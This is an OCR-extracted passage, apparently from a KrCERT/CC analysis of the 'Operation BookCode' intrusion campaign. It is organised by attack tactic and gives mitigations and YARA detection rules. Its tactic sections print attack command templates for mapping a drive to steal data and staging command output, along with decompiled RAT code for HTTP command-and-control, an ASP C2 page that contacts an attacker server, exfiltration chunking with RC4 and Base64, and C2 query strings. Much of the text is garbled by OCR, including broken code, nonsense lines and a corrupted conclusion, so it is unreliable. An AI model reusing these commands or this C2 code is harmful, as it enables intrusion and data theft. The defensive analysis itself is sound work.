A Audit Sucees: -06- 25 1177 40 Securiy 12200
4 Audlt Success 2019 06-12 EET 11:24:25 540 Security 212219z
AP=ITEEERE
% . MER01E: Administrator
: o
3 ZI21D: (0x0,0x33FCAOEE)
ZI2FE; 3
EIZ M A NHmSsp

- Use a different password for each system.

- Do not access remotely via administrator accounts.

- Disable default sharing settings if unnecessary.

- Identify abnormal logins by monitoring login success events (event ID 540, 4624) in
security logs.

- Disable administrator accounts and enable the User Access Control (UAC) of administrator

group accounts.

@ Remote File Copy
- The attacker copies files from target systems by connecting to his/her drive via a

malicious code.

- \\[Targeted system]\CS$\[Targeted path] Z:\[Source path]

- Install an anti-virus software and activate real-time detection.

2 BI0IFLIXIZS) Pei ?%E‘yéé"ﬂ.{“f?éé‘
=09 :
https://t.mefl8arnin gh‘l% TRt acewcy S, Kr
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o Collection : Information collection

(® Data Staged : The execution results of the malicious code are staged as a file

- cmd.exe /c [Command] > edgl73F.tmp

- Install an anti-virus software and activate real-time detection.

- Monitor suspicious log files (.tmp) in the TEMP directory used by a malicious code to
store the results of command execution.

@ Input Capture : Stealing keyboard inputs

- The attacker installs keylogging malware in the system to collect credentials entered
by administrators and users.

start: 193402 Length: 133462
]nput end: 193462

Tength: o lines: 1
YekrpgifpvAru' qqitwjtul’ ] b=t#2W3V84 SQ¢ Sh26%2 = A1 %e%hd” 5458 | T }2KCTRANKB?=ENR}2Krpad fpviru’ qgjupgpq!t | bEHE & 5 IRiE
b}z)0sV5A4%2KER%2M} 2} 2Krpairpyiru qajupipit ] b=F42T3V84" SQ¢ S%26%2" =1 ! 'eehd 5458 b} zKEAG%2M} 2 }2Krpainpvary’ qqjupgphit T bEHE & B4

LY h ANIARSY AL AL L A L AL AL

THEE TN

time:  53ms
output length: 193679
lines: 2487
[2019.86.25 11:47:45] - "Microsoft SQL Server Management Studio”
[CTRL][HOME]
- Install an anti-virus software and and activate real-time detection.
> -0 : OIE{UAIDHCHSAE]
) ﬁISA't 9.'29.“% XISH s, KrCERT/CC
https://t.me/learningnets =
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- The attacker steals collected data by connecting the target system to his/her drive.
- cmd.exe /c "net use [Drive name] \\[IP or domain of target system] [Password]

Ju:[Account] > "%s" 2>&1" edgl73F.tmp

22D Ox126FFCSD
212 GUD: {00000000-0000-0000-0000-000000000000}

K% 590 422 A3

A% OE: administrator

wmene

E12 GUID; {00000000-0000-0000-0000-000000000000}
et AE:

Ciad AH 012

FHEe:
T EE

ZENA D Oxd

Z2H- 02

445

- Monitor and block SMB connections to the outside.
- Detect any abnormal SMB connection attempts by monitoring login attempt events (event ID

4648, port 445) in security logs.

2 BI0IFLIXIZS) (B ooaunsan
ISAS T3 o . KrCERT/CC
https://t.meﬁearn gn I%s*o g, NrCER /8
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o Command and Control : Command control

® Commonly Used Port : Exploiting commonly used ports

- Command and control by HTTP (80) protocol

set_sub_180006520(&!emory, L"Mozilla/5.0 (Windows NT 6.1; Trident/7.8; rv:11.8) like Gecko", @x3Duié4);
sub_180087540(a1 + 32);
If ( v2l 5= 8 )
j_free(Memory);
sprintf(&Dest, "msgid=Communication&id=%11x", *(al + 8));
sub_18eeee6A5@(al + 32, &Dest, strlen(&Deszt));
sub_180083ACe(&v22, L"%d", strlen(&Dest));
set_sub_180006520(&Src, L"Accept: text/html,application/xhtml+xml,application/xml;q=@.9,%/*;q=@.8\r\n", 8x49ui64);
set_string(&Src, L"Accept-Language: ko-KR;q=0.8,ko;q=0.6,ko-KR;q=@.4,ko;q=@.2\r\n", @x3Cuib4);
set_string(&Src, L"Content-Type: application/x-www-form-urlencoded\r\n", @x31ui64);
set_string(&Src, L"Accept-Encoding: gzip, deflate\r\n", @x2eui64);
set_string(&Src, L"Content-Length: ", @xleuiéd);

- Disable unused ports.

- Install an anti-virus software and activate real-time detection.

(@ Standard Application Layer Protocol : Performing command control using the standard

application protocol

- Command and control by HTTP (80) protocol

v18 = WinHttpConnect(*v5, &pswzServerName, UrlComponents.nPort, @);
hInternet = vi8;
if ( lvig )
goto LABEL_212;
vie = ‘@;
if ( UrlComponents.nScheme == INTERNET_SCHEME_GOPHER )
v19 = Ox3eeeee;
v28@ = pwszVerb;
if ( vies »>= 8 )
v2@ = pwszVerb[e];
v21 WinHttpOpenRequest(v18, v20, UrlComponents.lpszUrlPath, @i64, @isd4, @ied4, v19);

w22 = w213
v88 = v21;
if ( 1wzl )

goto LABEL_211;
if ( !*(vs + 8) && UrlComponents.nScheme == INTERNET_SCHEME_GOPHER )

LODWORD(BuUfFer) = @x31ee;
WinHttpSetOption(v21, @x1Fu, &Buffer, 4u);

)

- Disable unused ports.

- Install an anti-virus software and activate real-time detection.

) OIE{UAIDHCHSAE]
ISA ?_rigli- uxsA KrCERT/CC
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(® Data Encoding :

- The attacker

Find / Replace

Find

Replace

Global match

Multiline matching

From Base64

Alphabet
A-Za-20-9+/=

RC4
Passphrase
abcdefgh

Input format

Latin1

33

S

SIMPLE STRING ¥

[ case insensitive
[ Dot matches all

Q1

Remove non-alphabet chars

S 1
UTF8 ~

Output format
Latin1

Data encoding—using known algorithms

encodes command lines using Base64.

1QmGeK19tKDqFFYBUkD7a2Y9K5/TI GqIhPEOmxgoruvO8310goHIajbili2dA77RGAGVUSOYHGCHE1KWKag MINXqWHYFNIpVapnboLed37 PHesRsFOLe
UFE7mIIqCbKQ3U11hhtvOLNhXNF48SMQUPIB30pYFHTPZAFm]uFeUTIakOQDVQ8I401hDgMDeF uhVuRhLaKZYZ4eE THZGCOXVVEEYSFYBPIKXARFUSQ 1
NwXb@0s482H/n7dsDAGIBDhLPDZBb1kFCtcOIKFO3hKIHVRITS82EBLrIZACK7Y1TOCIWXtFMEOXUSFZUZ4LAPAAdSCGYTVFDKIpkPOVZU nVX0GHINeZ 2!
IM95aLeKRBWOUBQEK3 Anocc/keHIx/ |
1TDchZCTogasvgCNZIR1bEa1IXiNGDI@F 7k81RFF /AS5Vs j FKK527D1a1ASKUSFAF51gMasmonG3Y7aPhd3NWEXTREhX6L jseI40YVTs6briNj cBF7eyofc
t8FGCVMdFNIC7wmTGeu nSLUTP i5yixx1179vtF1A7wKGKhSRIFKEOCNdXiGAZ k1CtdxhqGEhCUMBGhXjEGLPLAKIpAS16IF1evaGi7i/dIe 6e dKEF:
WrVGRFHmgnRWqufIv5aR7QUGk 3eliXycmyiFfSdIWOpoNyeg5VqiqoPyyymag4ABDADDMGFHE SYBVSSTA 052CkzPLRXFRMTELGKK786RWekp2cQoaCs |
PHV61091hAXFETaWE4pYhSINKXHNRK /1/wyYa0GQmQpM3k1I02hubXc2d859nTvhi9ZpQzN1hTteO08Mx/ sy FH2FYNVSAaFArY/DEObEL
2kb2XQX9UY/HPy11G1UZGBFSVLSSOVifE3eiopLUNCFENMYYVCTEMRbA/ SMZELI3UITVX2C30e INC6pg381RLZAPICPXK2IFERCFCZEF 70bLKkzHE7CDL
baYwwEz3ivckzVLxuvMUBmXgSXuXewn1R30vedngtUQYkBPo/Kebe ALMSNu/8BZDAEYhKeg! //3 UeIp/X6XHONIFFr/Zi:
NGZK3HD1wa3mXKNLIyTeT 1nou; gpOykgaVUUbOlc8X121cpke IK7HCFz/Aday7pMlpoYallTDaHgMyoXiDotnLCNpV7¢
SnBx3rmAgIzE4bjgSzWkDZIg3y0IbcxGoy tobu/aKYhPb2E1PARII1tRZS@YStyKDLOXmms XY1PENFPeTkyqOuSL2QcrOOhAYVN XVbpLOVDYQDBEbY:
F1AJU9ZhM8FyP@VERH wG4FT/qizsCVnBIYaWdNWUSOMReIhfBckxm7cBAtP77kBpOR2C6U3SCTQgLarjqUWWOISQLHArCTZRFUXFIL/70TnFqeRs/ TuPSH
JISNNXVSR 6qbDYGMId1IaXNCFGGHRFI16ygIDQTtSAUa4C1IgG/bc7QTytgIko111pk6CRQAFA/IW05I3KZYAVT DA6TIMhWDKPrMpSkTSVYXC3Ppbrk2gt
kJpjoSUltRBVmET qeHIjWtvouL 1 TZ61! JFuikjsfPARIOp )

Output

- Install an anti-virus software and activate real-time detection.

@ Standard Cryptographic Protocol : Communication using standard encryption algorithms

https://t.mefl

ISA
earn

- The attacker encrypts command lines using RC4.

Find / Replace

Find

Replace
s

Global match

Multiline matching

From Base64

Alphabet
A-Za-z0-9+/=

phrase

o
abcdefgh

Input format
Latin1

- Install an anti-virus software and activate real-time

(N

SIMPLE STRING ¥

[ case insensitive

[ Dot matches all

Remove non-alphabet chars

UTF8 ~

Output format
Latin1

10mGeK19tKDGFFYBukD7a2Y9KS/TI GgIhPEOmXgoruvO8I310goHTajbil2dA77RGAEVUSOYHGCWE1KWKag MINXWHYFNIpVGpnboLed37 PHESRSFO1¢
UFE7mI3CbKQ3U11hhtvOLNhXNFABSMQUPIB30pY FHTPZAFm]uFeUTIakoQDWVtQ8I401hDGMDeF uhVURNLaKZY24€E THZGCOXVVEEYSFVBPIKXARFUSQ \
NWXb@Os482H/n7dsDAGIBDhLPDZBL 1K FCtCOIKFO3hKIHVRItSB2EBLrZACK7Y1TOCINXEFMEOXUSFZUZALApAAdSCGVTVFDKpkPOVZUINVXOGHINeZ2F
IM95aLeKRBWOUOGEK3 An@cc/keHIx/ |
1TDchZCTogasvqCNZIR1bEa1IXiNGDI@F7k81RFF/As5VsjFKK527DialASKUSF4f51gMasmonG3Y7aPhd3NWEXTRthX6LseI40YVTs6briN cBF 7eysf
8FGCVMAFNIc7wnTGeu nSLUTP iSyixx1179vtF1A7wKGKhSRIFKEOCNAXiGAZ k1CtdxhqGEhCUMBGhXIEGLPLAKIpAS18IF1evaGi7/dTe 6e dKEF:
WrVGRFHMENRWqufIV5aR7QVGk 3e1lXy cmyiFFSdIWO; iq q TA 052CkWzPLRXFRMTELGKK786RWOKp2cQoaca. |
PHV61091hAXFETaWEA pYhSINKXHNRK /1/wyYaoGQmQpM3k1I02hubXc2d859nTvhioZpQzN1hT808Mx /sy FH2FYNVSAaFArY/DEObEL
2kb2XQX9UY/HPy1iIFG1UZGBFSVLSSOVifE3eiopLUNCFENMYYVCTEMRbA/SMZELI3UITVX2C30e TWe6pg381RLZdPACPXK2Thf6RCFCZEF 70bLkzHE7CD
bqYwWEz31ivekzVLxuvhUBmXgSXuXewm1R30ve4ngtUQYkBPo/KObWe ALMSNu/8BzDAEYhKeg! //3 UeIp/X6XHOhIFFr/Zi:
NGZK3HD1wajmXKNLIyI@IzBFnXnQMLnSULf JUbOlc8X121cpke IK7HCFz/Aday7pMlpoYallTDaHgMyoXiDotnLCNPV7¢
5nBx3rmAgIzE4b]gSzWkDZIg3y0IbcxGEoy tobu/aKYhPb2E1PARIT1tRZSEYStyKDLOXmMsXY1PEnFPeTkyqouSL2QcrOOhAYVN XVbpLOVDYQDBELY:
F1AJUSZhMEFyPBVERH WG4FT/qizsCVnBIYaWdNWUSOMReIhfBckxm7cBALP77kBpOR2c6USSCTQELarjqUWWIISQLHArCTZRFUXFrL/70TnFqeR6/ TuPSH
ISANXVOR 6qbDYGMOd1TaXNCFGGHRF 16y gIDQTtSAuadc1NGG/be7QTytgIko111pk6CRQAFd/ IwoSI3KZYAVT DA6TImhWDKPrMpOKTSVYXC3Ppbrk2gt
kIpjoSULtRBVMAT! qeHIjitvouL, it TZ64 JFuiKjsFPARIS hc7,

Output
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- Upon initial access from a C&C site, the attacker attempts to connect to an
additional attacker server.
- When an infected PC accesses the C&C site, it attempts to connect via external IP address

stored in a specific file (config.dat).
objFSO = Server.CreateObject("Scripting.FileSystemObject")
objTextStream = objFSO.OpenTextFile(Server.MapPath("config.dat"), ForReading)

Config = objTextStream.ReadAll
ConfigArray = Split(Config, ":")

ServerURL = "http://" & ConfigArray(@) & ":" & ConfigArray(1)

SelfURL = "http://" & Request.ServerVariables("SERVER NAME") & Request.ServerVariables("URL")
ClientIP - getIpAddress()

ServerInfo - base64_encode(ID) & "[](<" & base64 encode(ClientIP) & "][)<" & base64 encode(SelfURL)

- Monitor periodic communications via a specific port of a specific address.

- The attacker creates and leaks additional files via a command of malware.
while ( !recv_sub_18@ee5D20(&=1->gap33e8[ex28], v23, ©x168e0u, &vlis, 1) )
if ( v23[@] == ©x9785365D )
(5;—>_EiiteFile)(‘L?, v23, vi9, &v2e, 0i64);
Solagl 5 ey

memset(v23, @, sizeof(v23));

¥
if ( *(v3 + 4) == @x9785364C )

ex2e000e;
e:

i
©x20000164;
operator new(@x20€0eui64);

{

\ rand();

=rd) = Va5 = 5 / -255;
¥
while ( vi2 );
16 = GetTickCount();

srand(vils);
for (1 = ((rand() % 18 + 55) << 28) - v7; i; i -= v21 )

bt ol - e S e S

> WriteFile)(vie, vi3, vii, &v21, @ie4);

j_Jj_free(vi3);

T
(21->_CloseHandle)(vi1ia);

- Install an anti-virus software and activate real-time detection.

) 8 e
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o Exfiltration : Information leak

(® Data Compressed : Leaking information through data compression

- The attacker leaks compressed data through a command using the Info-ZIP library in
malware.

- \\[IP]J\CS\WINDOWS\system32\LogFiles\W3SVC\ex200220.log
Z:\Object\Web_HTTP\Download\[SYSTEM]\ex200220.log.zip

1 ( tva || tv3 ==Lt )

if ( Istricmp(v3, ".2")
|l !stricmp(vz, ".zip"™)
|| !stricmp(v3, ".zoo™)
|l tstricmp(v3, ".arc")
Il ¥stricmp(v3; “.1zh"™)
|| !stricmp(v3, ".arj™)
|| tstricmp(v3, “.gz") )
{
result = 1;
1
else
{
result = stricmp(v3, ".tgz") == ;
1

return result;

- Install an anti-virus software and activate real-time detection.

OIEIAIOHCHS AV
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(@ Data Transfer Size Limits

- The attacker steals data by dividing it in various sizes of up to about 90 KB.

max_size = 92160;
if ( size < 92160 )
max_size = size;
memmove(Dst, Src, max_size);
if (a4 )
{
malloc_sub_188e82DCO(v12);
base64_encode_sub_l8ee@2Eee(v12, "abcdefghijklmnopgqrstuvwxyz®123456789~!|@#$% ~&*()", 48);
rcd_encrypt_sub_18e@@2ED@(v12, Dst, max_size);
free_sub_18@@@2F70(v12);

- Monitor the case in which data packets are transmitted in a fixed size during the

connection.

(® Exfiltration Over Command and Control Channel : Information leakage through command

control

- The attacker performs remote control such as file creation and deletion using HTTP

Queries.

msgid=Saves&id=%llx&buffer=
msgid=Savec&id=%lIx&buffer=
msgid=Read&id="%IIx
msgid=Load8&id=%lIx
msgid=Information&IP=%s&PORT=%d
msgid=Communication&tid="%llx
msgid=Communication&id="%d

msgid=Restore

- Install an anti-virus software and activate real-time detection.

¢ sra0IpjuIxI=2 OIS AVE]
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4. Conclusion

collect mformatll;qn throughlit.he spread of file upload vulnerabllltlesg:to the Iocal server.

Victimized :sfgy}stems have network sharing enabled and their ip;t;ernal maip; systems are
accessed via the same a??c'count. The attacker freely navigates throuéh these vd[nerabilities as
a path, coIIecfing information and spreading malicious codes. Aftervfliard, the a:ti"cacker secures
the persistenée of remotely controlled malware by first infectirfg the sysitéems using a

scheduler and reglsterlng the malware as a service.

In the Ilght of these attack tactics, it is necessary to check the emstence of vulnerabilities

by examlmng"'flle upload mechanisms in websites exposed to th':' outside -as well as to

fésepara'_c_e access privilege for each system and assign a different password to each accqqnt.

If tﬁere is an attempt to log in from the outside, it is necessary to identify whethfe;r it |s

;ian uriauthorized external access or a normal .internal access by checking login eveénts in:

-"gin success (ID: 4624).

ervice is being executed by re; uIarIyi
045},

Dot |s also needed to check whethe
Zﬁmomtormg service-related events in sys S, such as service registration (I

“(ID: 7030).

fés_erwce;;executlon (ID: 7036), and error in .

Sinc'é' the attacker usually attempts to d 2¢urity logs for avoiding detection dur'ihg thé§

féattack -this attempt can be identified by checking events such as system log deIetlon (ID;

55104) m system logs and security log deletion (ID: 1102) in security logs.

For Eésystem security

updates as regul

> Py lEZoltiS e
X oroiEymss = Rl

https://t. mefi8arningrie
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5. Yara rule

o For details on usage, please refer to: https://virustotal.github.io/yara/

rule Operation_BookCode_RAT
{

meta:
author = "KrCERT/CC Profound Analysis Team"
date = "2020-04-01"
info = "Operation BookCode RAT"
contact = "hypen@krcert.or.kr"
ver = "1.0"
hashl = "EC8CDF41C32A6D8CC5A4A468637AFE74"
hash2 = "1E38EC5BC660A7BDB229DCA8F10D77FF"
strings:

$string_decode 64 = { 42 OF B6 4? ?? ?? [5-7) FF C2 [2-3] 42 88 8? 05 ?? 0? 00 00 83 FA
? }

$query_decode_64 = { 4? 8B 0? 88 14 01 4? 8B ?? [0-2] OF B6 ?? (08]09) 4? OF B6 ?? ??
[0-2] OF B6 4? (08]09) 42 OF B6 }

Sstring_decode_32 = { 8A ?4 0D ?? [0-3] 32 C1 34 [0-3] 88 84 OD ?? ?? FF FF 41 83 F9 ??

7C E8 }
Squery_decode_32 = { 8B 0? 88 14 01 8B ?? OF B6 4? 04 OF B6 ?? ?? OF B6 4? 05 [0-1]
OF B6 }
condition:
uint16(0) == Ox5A4D and filesize < 2MB
and ( (Sstring_decode_64 and Squery_decode_64)
or ( Sstring_decode_32 and Squery_decode_32) )
}
> 610IF{UIXIESS [ioe RSRrS s
https://t.meﬁearn gnetss«m ==
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import "pe"

{
meta:
strings:
condition:

}

rule Operation_BookCode_Keylogger

author = "KrCERT/CC Profound Analysis Team"
date = "2020-04-01"

description = "Operation BookCode Keylogger"
contact = "hypen@krcert.or.kr"

ver = "1.0"

hashl = "b105912fbd3f02063af4a7875a0efd13"
hash2 = "elfddblcaf4793ca477f83410868d6da"

Sstr_encode = { OF B6 04 32 48 FF C2 34 68 04 18 88 44 32 FF 48 3B D3 7C EC }

Sstringl = "[%d.%02d.%02d %02d:%02d:%02d]" fullword ascii
Sstring2 = "msvcrt000.xml" fullword ascii
Sstring3 = "nsvcrl001.xml" fullword ascii

Sstringd = "DomainName:%s UserName:%s SessionlD:%d" fullword ascii

( uint16(0) == Ox5A4D and filesize < 100KB

and (Sstr_encode)

and 2 of (Sstring*) )

or pe.imphash() == "9d59262ce45a7146ed25b0327b4f17fd"

ISAS

https://t.meﬁearn
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author = "KrCERT/CC Profound Analysis Team"

date = "2020-04-01"

description = "Operation BookCode redhat-WebShell"
contact = "hypen@krcert.or.kr"

ver = "1.0"

Sstringl = "const vgo=\"admin\"" fullword ascii
Sstring2 = "const nkw=\"redhat\"" fullword ascii
Sstring3 = "const mam=\"want_pre.asp\"" fullword ascii
Sstringd = "const nkw=\"redhat\"" fullword ascii
Sstring5 = "const pxo=\"redhat\"" fullword ascii
Sstringé = "const ydc=\"redhat hacker\"" fullword ascii
Sstring7 = "const vtn=\"redhat.htm\"" fullword ascii

Sstring8 = "execute yka" fullword ascii

( filesize < 100KB
and all of them )
or hash.md5(0, filesize) == "5ff8fb17133c9a2020571d6cfedd3883"

import "hash"
rule Operation_BookCode_WebShell
{
meta:
strings:
condition:
}

X or=01

hﬁszﬁJneﬁearn
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{

meta:

strings:

fullword nocase ascii

encoded with

rule Operation_BookCode_C2page

author = "KrCERT/CC Profound Analysis Team"
date = "2020-04-01"

description = "Operation BookCode C2pages"
contact = "hypen@krcert.or.kr"

ver = "1.0"

SC2pagel_strl = "bookcodes:200" fullword nocase ascii
SC2pagel_str2 = "bookcodes:300" fullword nocase ascii
SC2pagel_str3 = "bookcodes:400" fullword nocase ascii
SC2pagel_str4 = "bookcodes:500" fullword nocase ascii
SC2pagel_str5 = "SetPConfiginfo" fullword nocase ascii
$C2pagel_str6 = "DownloadC" fullword nocase ascii

SC2pagel_str7 = "DownloadS" fullword nocase ascii

SC2pagel_logfile = "config.dat" fullword nocase ascii
SC2pagel_logfile2 = "_ICEBIRD007.dat" fullword nocase ascii

SC2page2_strl = "Connect" fullword nocase ascii
SC2page2_str2 = "SetConfig" fullword nocase ascii
SC2page2_str3 = "FileDown" fullword nocase ascii

SC2page2_str4 = "UploadSave" fullword nocase ascii

SC2page2_logfile = "cover_img08.gif" fullword nocase ascii

SC2page2_logfile2 = "button_array301.gif" fullword nocase ascii

$C2page3_strl = "xmSub7GMQYhfiOkp.coDONE8W2vV/H6NZle3LKUgsyzaCljwAg9F4PtIdrTRBX1:5"
SC2page3_str2 = "RedirEct param:" fullword nocase ascii

//Svbscript_encode = "<%@language=VBScript.Encode%><%#@" fullword nocase ascii

// The web shell above and C2 pages may not be searched because the original source is

vbscript.encode.

// Some normal pages also use this method, so please use this rule as an option.

condition:
(5 of (SC2pagel*))
or ( all of (SC2page2_str*) and 1 of (SC2page2_logfile*) )
or ( all of (SC2page3*) )
// Option => or (Svbscript_encode)
d¢ 5IZ0IFILIXIZSS) R ZErZsose
https://t.mefl8arnir ?ﬁ' et sl sl
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